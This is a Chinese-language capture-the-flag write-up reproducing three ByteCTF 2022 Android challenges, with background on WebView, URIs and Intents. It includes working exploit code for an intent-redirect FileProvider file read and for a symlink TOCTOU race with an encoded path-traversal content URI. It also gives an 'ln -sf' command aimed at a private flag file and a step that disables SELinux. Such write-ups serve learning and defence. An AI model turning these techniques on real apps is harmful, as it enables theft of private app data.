安卓安全学习笔记之2022ByteCTF mobile复现
字数 2086 2025-08-25 22:58:29
Android安全学习笔记:2022 ByteCTF Mobile题目复现
一、前置知识
1. WebView组件
WebView是Android中用于显示网页的组件,主要功能包括:
- 显示和渲染web界面
- 直接使用HTML进行布局
- 与JavaScript进行交互
创建WebView的两种方法:
- 代码创建:
WebView webview = new WebView(getApplicationContext()); - XML布局:在布局文件中声明WebView控件
<WebView
android:id="@+id/eeeewebview"
android:layout_width="0dp"
android:layout_height="0dp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
关键配置:
setWebViewClient():设置WebView客户端,控制网页加载行为shouldOverrideUrlLoading():控制是否拦截URL加载shouldInterceptRequest():拦截资源请求并修改响应setJavaScriptEnabled(true):启用JavaScript执行
2. URI结构
URI代表要操作的数据,基本结构:
[scheme:]scheme-specific-part[#fragment]
详细分解:
[scheme:][//authority][path][?query][#fragment]
示例解析:
http://www.example.cn/about?id=1
- scheme: http
- authority: www.example.cn
- path: about
- query: id=1
Android中URI操作:
Uri.parse("http://www.baidu.com"):将URL解析为Uri对象getScheme():获取scheme部分getHost():获取host部分getPath():获取路径部分getLastPathSegment():获取最后一段路径
3. Intent机制
Intent是Android组件间通信的桥梁,主要功能:
- 启动Activity
- 启动Service
- 发送广播
- 访问Content Provider
Intent类型
- 显式Intent:明确指定目标组件
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
ComponentName cn = new ComponentName(packageName, className);
intent.setComponent(cn);
startActivity(intent);
- 隐式Intent:指定动作和数据,由系统匹配处理
Intent属性
- Component:显式指定目标组件
- Action:指定要执行的动作(字符串)
- Data:指定数据URI
- Category:指定额外信息
- Extras:键值对数据
- Flags:指示如何启动Activity
Activity导出控制
android:exported属性决定Activity是否可被外部应用启动:
- 显式设置则使用设置值
- 未设置时:
- 有intent-filter默认为true
- 无intent-filter默认为false
二、题目环境配置
1. Docker环境问题
- 原docker环境中的
setup_emulator()函数未能正确模拟手机 - 建议使用真实设备或完整模拟器进行复现
2. 关键脚本函数
adb_broadcast:通过adb发送广播传递flag
am broadcast -W -a "com.wuhengctf.SET_FLAG" -n "com.bytectf.silverdroid/.FlagReceiver" -e 'flag' 'flag{example}'
adb_activity:通过intent启动Activity并传递数据
am start -a android.intent.action.VIEW -d https://www.baidu.com
三、Silver Droid题目分析
1. 题目流程
- 攻击者提供URL
- 服务器加载URL到WebView
- 通过JS交互获取flag
2. MainActivity分析
关键代码逻辑:
Uri uri0 = this.getIntent().getData();
WebView webView = new WebView(this.getApplicationContext());
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
Uri uri0 = Uri.parse(url);
if(uri0.getScheme().equals("https")) {
return !uri0.getHost().endsWith(".myqcloud.com");
}
return true;
}
});
webView.setWebViewClient(new WebViewClient() {
@Override
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
Uri uri0 = request.getUrl();
if(uri0.getPath().startsWith("/local_cache/")) {
File cacheFile = new File(MainActivity.this.getCacheDir(), uri0.getLastPathSegment());
if(cacheFile.exists()) {
FileInputStream inputStream = new FileInputStream(cacheFile);
HashMap headers = new HashMap();
headers.put("Access-Control-Allow-Origin", "*");
return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);
}
}
return super.shouldInterceptRequest(view, request);
}
});
webView.loadUrl("https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=" + uri0);
3. jump.html分析
<script>
function getQueryVariable(variable) {
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return false;
}
var myurl = getQueryVariable("url").toString().toLowerCase();
if (myurl != 'false' && myurl.length > 1 && myurl.indexOf("myqcloud")==-1) {
window.location.href = myurl;
}
</script>
4. 漏洞利用要点
-
URL必须满足:
- 以"https"开头
- 在WebView处理时以".myqcloud.com"结尾
- 在跳转时不包含"mycloud"
-
利用思路:
- 构造特殊URL绕过检查
- 通过JS请求包含flag的资源
- 利用
shouldInterceptRequest拦截响应获取flag
四、Bronze Droid题目分析
1. 题目流程
- 攻击者提供恶意APK
- 服务器安装目标APK和恶意APK
- 启动恶意APK的MainActivity获取flag
2. MainActivity分析
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(0x7F0B001C);
String s = this.getIntent().getAction();
if(s != null && (s.equals("ACTION_SHARET_TO_ME"))) {
this.setResult(-1, this.getIntent());
this.finish();
}
}
3. 漏洞利用
利用FileProvider读取flag文件:
Intent intent = new Intent();
intent.setAction("ACTION_SHARET_TO_ME");
intent.setClassName("com.bytectf.bronzedroid","com.bytectf.bronzedroid.MainActivity");
intent.setData(Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag"));
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
startActivityForResult(intent,1);
获取返回结果:
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
InputStreamReader inputStreamReader = new InputStreamReader(getContentResolver().openInputStream(data.getData()));
char[] cArr = new char[1024];
StringBuffer stringBuffer = new StringBuffer("");
while (-1 != inputStreamReader.read(cArr, 0, 1024)) {
stringBuffer.append(String.valueOf(cArr));
}
String flag = new String(stringBuffer);
}
五、Gold Droid题目分析
1. 题目流程
- 先运行目标APK的MainActivity
- 再运行恶意APK的MainActivity获取flag
2. MainActivity分析
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(0x7F0B001C);
File externalFile = new File(this.getExternalFilesDir("sandbox"), "file1");
try {
FileOutputStream fileOutputStream = new FileOutputStream(externalFile);
fileOutputStream.write("I\'m in external\n".getBytes(StandardCharsets.UTF_8));
fileOutputStream.close();
}
catch(IOException e) {
e.printStackTrace();
}
}
3. VulProvider分析
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File file0 = this.getContext().getExternalFilesDir("sandbox");
File file = new File(this.getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment());
try {
if(!file.getCanonicalPath().startsWith(file0.getCanonicalPath())) {
throw new IllegalArgumentException();
}
}
catch(IOException e) {
e.printStackTrace();
}
return ParcelFileDescriptor.open(file, 0x10000000);
}
4. 漏洞利用要点
-
漏洞点:
ParcelFileDescriptor.open()内部使用file.getPath()而非getCanonicalPath()- 存在TOCTOU(Time-of-check to time-of-use)竞争条件
-
利用思路:
- 创建符号链接快速切换目标文件
- 竞争条件使检查时指向合法文件,打开时指向flag文件
- 使用"%2F"绕过路径检查
-
关键代码:
String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F" + "data%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";
// 线程1:设置合法路径
Runtime.getRuntime().exec("ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + symlink).waitFor();
// 线程2:设置flag路径
Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + symlink).waitFor();
// 读取结果
String data = readUri(Uri.parse(path));
- 注意事项:
- 必须执行
adb shell setenforce 0关闭SELinux - 符号链接检查在SELinux开启时行为不同
- 必须执行
六、总结
-
WebView安全:
- 注意URL检查和拦截逻辑
- 谨慎处理
shouldInterceptRequest
-
Intent安全:
- 合理设置
android:exported属性 - 验证传入的Intent数据
- 合理设置
-
FileProvider安全:
- 确保路径检查完整
- 避免符号链接导致的路径穿越
-
竞争条件:
- 检查和使用路径要一致
- 考虑TOCTOU问题
-
通用防护:
- 输入验证
- 权限控制
- 安全配置